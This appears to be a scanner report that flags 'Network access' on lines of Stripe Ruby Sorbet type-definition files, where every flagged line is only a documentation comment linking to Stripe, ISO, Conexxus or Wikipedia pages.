); end end # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs - Network accessline 379
end # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/cur - Network accessline 380
# The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_create_params.rbi
- Network accessline 165
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 166
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String - Network accessline 167
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 202
end class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 203
class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. si - Network accessline 204
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 439
); end end # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 440
end # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns - Network accessline 441
# The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 444
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](htt - Network accessline 445
def amount=(_amount); end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(T - Network accessline 446
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 461
sig { params(_card: String).returns(String) } def card=(_card); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-cu - Network accessline 462
def card=(_card); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported - Network accessline 463
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/ - Network accessline 492
} def fuel=(_fuel); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 493
def fuel=(_fuel); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. sig { return - Network accessline 494
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 499
} def is_amount_controllable=(_is_amount_controllable); end # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies - Network accessline 500
def is_amount_controllable=(_is_amount_controllable); end # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-deci - Network accessline 501
# The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 504
sig { params(_merchant_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def merchant_amount=(_merchant_amount); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-l - Network accessline 505
def merchant_amount=(_merchant_amount); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase - Network accessline 506
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_finalize_amount_params.rbi
- Network accessline 151
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 152
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String - Network accessline 153
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 192
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The final authorization amount that will be captured by the merchant. This amount is in the authorization - Network accessline 193
def expand=(_expand); end # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 194
# The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_increment_params.rbi
- Network accessline 12
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The amount to increment the authorization by. This amount is in the authorization currency and in the [sma - Network accessline 13
def expand=(_expand); end # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integ - Network accessline 14
# The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 17
sig { params(_increment_amount: Integer).returns(Integer) } def increment_amount=(_increment_amount); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_a - Network accessline 18
def increment_amount=(_increment_amount); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorizati - Network accessline 19
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_reverse_params.rbi
- Network accessline 12
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The amount to reverse from the authorization. If not provided, the full amount of the authorization will b - Network accessline 13
def expand=(_expand); end # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https - Network accessline 14
# The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_create_force_capture_params.rbi
- Network accessline 8
class TransactionCreateForceCaptureParams < ::Stripe::RequestParams class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe. - Network accessline 9
class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. si - Network accessline 10
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 301
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 302
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(St - Network accessline 303
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 439
); end end # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 440
end # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(In - Network accessline 441
# The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 449
sig { params(_card: String).returns(String) } def card=(_card); end # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency - Network accessline 450
def card=(_card); end # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported curre - Network accessline 451
# The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_create_unlinked_refund_params.rbi
- Network accessline 8
class TransactionCreateUnlinkedRefundParams < ::Stripe::RequestParams class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.strip - Network accessline 9
class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. si - Network accessline 10
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 301
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 302
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(St - Network accessline 303
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 439
); end end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 440
end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Int - Network accessline 441
# The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 449
sig { params(_card: String).returns(String) } def card=(_card); end # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217- - Network accessline 450
def card=(_card); end # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [support - Network accessline 451
# The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_refund_params.rbi
- Network accessline 12
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards c - Network accessline 13
def expand=(_expand); end # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 14
# The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/received_credit_create_params.rbi
- Network accessline 53
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co - Network accessline 54
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 55
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 82
} def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.strip - Network accessline 83
def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/trea - Network accessline 84
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/received_debit_create_params.rbi
- Network accessline 53
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co - Network accessline 54
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 55
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 82
} def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.strip - Network accessline 83
def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/trea - Network accessline 84
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/token_create_params.rbi
- Network accessline 13
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 33
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 34
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 35
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 56
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 57
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 58
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 105
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 106
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 107
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 232
class Verification < ::Stripe::RequestParams class Document < ::Stripe::RequestParams # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verif - Network accessline 233
class Document < ::Stripe::RequestParams # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image ( - Network accessline 234
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF - Network accessline 237
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additiona - Network accessline 238
def back=(_back); end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000 - Network accessline 239
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD - Network accessline 339
} def ownership_declaration_shown_and_signed=(_ownership_declaration_shown_and_signed); end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](http - Network accessline 340
def ownership_declaration_shown_and_signed=(_ownership_declaration_shown_and_signed); end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://suppor - Network accessline 341
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 438
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 439
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 440
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 458
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 459
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 460
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 481
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 482
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 483
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 530
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 531
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 532
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 598
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 599
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 600
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 618
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 619
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 620
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 676
class Verification < ::Stripe::RequestParams class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_do - Network accessline 677
class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s - Network accessline 678
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 681
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum - Network accessline 682
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000 - Network accessline 683
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 690
end class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color imag - Network accessline 691
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller tha - Network accessline 692
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 695
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum - Network accessline 696
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000 - Network accessline 697
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 814
sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) } def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be us - Network accessline 815
def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 816
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 946
sig { params(_country: String).returns(String) } def country=(_country); end # The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts) - Network accessline 947
def country=(_country); end # The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts) sig { returns(T.nilable(String)) } - Network accessline 948
# The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts) - Network accessline 1121
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1122
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1123
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1141
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1142
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 1143
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1164
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1165
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1166
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1213
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1214
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1215
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1277
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_r - Network accessline 1278
class CompanyAuthorization < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T:: - Network accessline 1279
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1286
end class Passport < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1287
class Passport < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String - Network accessline 1288
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1295
end class Visa < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1296
class Visa < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) - Network accessline 1297
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1335
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1336
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1337
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1355
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1356
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 1357
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1488
class Verification < ::Stripe::RequestParams class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docume - Network accessline 1489
class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (sma - Network accessline 1490
